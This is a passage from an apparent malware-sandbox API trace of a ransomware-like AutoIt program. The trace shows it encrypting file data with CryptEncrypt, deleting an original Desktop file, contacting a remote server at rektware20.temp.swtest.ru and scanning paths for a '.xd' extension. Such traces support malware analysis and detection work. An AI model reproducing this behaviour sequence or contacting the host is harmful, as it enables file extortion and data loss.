wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.853] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.853] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.854] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.854] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.854] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.854] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.854] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.854] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.855] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.855] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.881] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.881] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.881] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.881] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.882] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.882] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.883] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621648, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.883] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.883] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x14911, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x14920) returned 1 [0075.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.884] CharLowerBuffW (in: lpsz="byte[84257]", cchLength=0xb | out: lpsz="byte[84257]") returned 0xb [0075.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.886] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.887] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.887] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.887] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.887] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.887] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181e680*, pdwDataLen=0x130e618*=0x14911, dwBufLen=0x14920 | out: pbData=0x181e680*, pdwDataLen=0x130e618*=0x14920) returned 1 [0075.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.888] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.888] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.888] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.888] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.888] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.888] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.888] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.888] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.888] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.888] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.893] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.893] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.893] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.894] WriteFile (in: hFile=0x3d0, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x14920, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x14920, lpOverlapped=0x0) returned 1 [0075.896] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.896] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.896] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0075.896] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.896] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.896] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0075.896] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16212e8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0075.896] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0075.896] CryptDestroyKey (hKey=0x164c330) returned 1 [0075.896] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.896] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.896] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.896] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.897] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.897] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.897] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.897] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.897] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0075.897] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.897] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.897] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.897] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.897] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.897] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.897] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.897] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.897] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.897] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.897] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.898] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.898] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.898] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.898] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.898] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0075.898] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0075.898] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0075.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.899] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.899] FreeLibrary (hLibModule=0x74c60000) returned 1 [0075.899] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.899] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.899] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.899] CloseHandle (hObject=0x3d8) returned 1 [0075.902] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.902] CloseHandle (hObject=0x3d0) returned 1 [0075.908] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.912] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.913] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", lpFilePart=0x0) returned 0x2d [0075.913] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kdp2magp1lg.bmp")) returned 0x20 [0075.913] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0075.914] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kdp2magp1lg.bmp")) returned 1 [0075.923] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0075.927] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0075.927] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.927] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.927] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.927] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.927] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d170 [0075.927] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0075.928] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.930] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0075.930] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.930] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0075.930] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0075.930] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c) returned 1 [0075.930] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.930] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.931] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.932] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0075.932] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0075.932] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0075.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0075.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0075.933] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.934] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.934] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.934] CloseHandle (hObject=0x0) returned 0 [0075.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 